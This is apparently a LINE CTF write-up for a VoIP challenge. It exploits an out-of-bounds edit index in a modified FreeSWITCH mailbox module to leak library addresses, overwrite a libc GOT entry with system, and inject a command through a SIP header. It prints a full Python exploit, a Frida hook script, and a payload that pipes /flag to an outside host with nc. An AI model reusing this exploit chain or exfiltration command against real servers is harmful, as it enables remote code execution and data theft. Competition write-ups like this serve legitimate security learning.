Freeswitch with a vulnerability run on the server.
Vuln#
There are many vulnerabilities in the problem, but the vulnerability I used is OOB in mailbox_handle_edit
1
2
3
4
5
6
7
|
char *mailbox_handle_edit(sofia_profile_t *profile, const char *id, int idx, char *msg, int msg_len)
{
...
if (mailbox->mail[idx] != NULL) {
strncpy(mailbox->mail[idx], msg, msg_len);
strcpy(response, "edited");
}
|
Above picture, 0x7f3170003528 is mailbox->mail(index 0). In genral pwnable challenge, address lower 1.5bytes are immutable. But this challenge, because several teams interact with server, lower 1.5bytes are not immutable. So we must get defnite libc-related address to solve this challenge.
And you can see if we edit -1 index, we can trigger AAW and AAR.
After several attempts, I can leak mailbox mmaped base with a high probability when send /edit -1 \x03\x01
.
And libsql3lite
related address is placed on leak area. So we can get libsql3lite
base address. And libsql3lite
has libc function readlink
got. So with some edit -1 index, we can get libc base definitly.
Finally overwrite libc’s __strnlen
got to system
. I could see the message below.
I modify the alias part of the payload I sent and use nc to get the flag.
Exploit code#
It is very difficult to implement the full SIP stack, so we use external programs(microSIP) together. I can send a message with my own code(my friend wrote), but it is difficult to implement receive, so I used frida. Hooking microSIP and interact with my python code.
hack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
|
import requests
import hashlib
import string
import random
import threading
import multiprocessing
from pwn import *
import frida
#context.log_level='debug'
last_recv = None
def on_message(message, data):
global last_recv
recvd = message['payload']['message']
recvd = reverse_by_two(recvd)
last_recv = recvd
print(last_recv)
def get_last_recv():
global last_recv
while last_recv == None:
pass
result = last_recv
last_recv = None
return result
def freeswitch(data):
headers = {'Content-Type': 'text/xml'}
return requests.post(f'http://{NAME}:{PW}@{HOST}:10030/freeswitch', headers=headers, data=data).text
def auth(nonce):
uri = "sip:mailbox@iinevoip;transport=tcp"
realm = 'iinevoip'
method = "MESSAGE"
cnonce = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16))
ha1 = hashlib.md5(f"{NAME}:{realm}:{PW}".encode()).hexdigest()
ha2 = hashlib.md5(f"{method}:{uri}".encode()).hexdigest()
response = hashlib.md5(f"{ha1}:{nonce}:00000001:{cnonce}:auth:{ha2}".encode()).hexdigest()
return response, cnonce
def fake(cmd):
payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;nc xx.xx.77.140 8088 < /flag;
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
User-Agent: MicroSIP/3.21.3
Route: <sip:{HOST}:10002;transport=tcp;lr>
Content-Type: text/plain
Content-Length: {len(cmd)}
'''.encode() + cmd
p.send(payload)
p.recvuntilS('nonce="')
nonce = p.recvuntilS('"')[:-1]
res, cnonce = auth(nonce)
payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;nc xx.xx
.77.140 8088 < /flag;
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
Route: <sip:{HOST}:10002;transport=tcp;lr>
Proxy-Authorization: Digest username="{NAME}", realm="iinevoip", nonce="{nonce}", uri="sip:mailbox@iinevoip;transport=tcp", response="{res}", algorithm=MD5, cnonce="{cnonce}", qop=auth, nc=00000001
Content-Type: text/plain
Content-Length: {len(cmd)}
'''.encode() + cmd
p.send(payload)
sleep(0.5)
def command(cmd):
payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;alias
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
User-Agent: MicroSIP/3.21.3
Route: <sip:{HOST}:10002;transport=tcp;lr>
Content-Type: text/plain
Content-Length: {len(cmd)}
'''.encode() + cmd
p.send(payload)
p.recvuntilS('nonce="')
nonce = p.recvuntilS('"')[:-1]
res, cnonce = auth(nonce)
payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;alias
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
Route: <sip:{HOST}:10002;transport=tcp;lr>
Proxy-Authorization: Digest username="{NAME}", realm="iinevoip", nonce="{nonce}", uri="sip:mailbox@iinevoip;transport=tcp", response="{res}", algorithm=MD5, cnonce="{cnonce}", qop=auth, nc=00000001
Content-Type: text/plain
Content-Length: {len(cmd)}
'''.encode() + cmd
p.send(payload)
sleep(0.5)
HOST = '34.84.93.83'
#HOST = '172.19.192.6'
NAME = 'ccxx'
#PW = '7f7ef7b8392da8c7e61ea98d360fd48c'
PW = 'a8c00f42f9859e65eb3885872d14345e'
CALLID = '453e07af95254a18bdb88938940a923a'
def frida_att():
session = frida.attach('microsip.exe')
script = session.create_script(open(r'E:\trash\linectf\voip\solve\hack.js','r',encoding='UTF-8').read())
script.on("message",on_message)
print('[+] Frida attaced')
script.load()
def reverse_by_two(s):
chunks = [s[i:i+2] for i in range(0, len(s), 2)]
chunks.reverse()
return ''.join(chunks)
print('[+] Start!')
multiprocessing.Process(target =frida_att(), args= ()).start()
p = remote(HOST, 10002)
command(b'/send ccxx 111')
command(b'/edit -1 \x03\x01')
command(b'/list')
leak = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFF) >> 24) << 24
log.info('leak base : ' + hex(leak))
command(b'/edit -1 ' + p16(0x19a8))
command(b'/list')
leak2 = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFFFFFFFF) >> 24)
sql3base = leak2 - 0x076fb0
log.info('libsqlite3 : ' + hex(sql3base))
leak3 = sql3base + 0x132798
command(b'/edit -1 ' + p64(leak3))
command(b'/list')
readlink = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFFFFFFFF) >> 24)
libcbase = readlink - 0x0ed0a0
log.info('libc : ' + hex(libcbase))
system = libcbase + 0x045e90
strlen_got = libcbase + 0x1ce020 - 1
log.info('strlen_got : ' + hex(strlen_got))
pause()
command(b'/edit -1 ' + p64(strlen_got))
command(b'/edit 0 A' + p64(system))
pause()
fake(b'/list')
fake(b'/list')
fake(b'/list')
p.interactive()
|
hack.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
var hook = Module.getExportByName("WS2_32.dll", "send");
var hook2 = Module.getExportByName("WS2_32.dll", "recv");
console.log(hook, hook2)
function toHex(str) {
var result = '';
for (var i=0; i<str.length; i++) {
result += str.charCodeAt(i).toString(16);
}
return result;
}
function stringToByteArray(str) {
var byteArray = [];
for (var i = 0; i < str.length; ++i) {
var charCode = str.charCodeAt(i);
byteArray.push(charCode & 0xFF);
}
return byteArray;
}
function byteArrayToHex(byteArray) {
return Array.prototype.map.call(byteArray, function(byte) {
return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('');
}
function splitByteArray(byteArray, delimiter) {
var result = [];
var startIndex = 0;
for (var i = 0; i < byteArray.length; i++) {
var isDelimiterFound = true;
for (var j = 0; j < delimiter.length; j++) {
if (byteArray[i + j] !== delimiter[j]) {
isDelimiterFound = false;
break;
}
}
if (isDelimiterFound) {
result.push(byteArray.slice(startIndex, i));
startIndex = i + delimiter.length;
i += delimiter.length - 1;
}
}
if (startIndex < byteArray.length) {
result.push(byteArray.slice(startIndex));
}
return result;
}
var buf;
Interceptor.attach(hook2, {
onEnter(args) {
buf = args[1];
},
onLeave(result) {
try
{
result = Number(result.toString())
if (result != 0xffffffff)
{
var bbuffer = new Uint8Array(Memory.readByteArray(buf, result));
bbuffer = splitByteArray(bbuffer, [0x0d, 0x0a]);
bbuffer = bbuffer[bbuffer.length - 1];
//console.log(tmp);
if (bbuffer.length != 0)
{
send({'message': byteArrayToHex(bbuffer)});
}
}
}
catch(ex)
{
console.log(ex);
}
}
});
|
LINECTF{f22da6a35e5f93fecb83044baf2cbb38}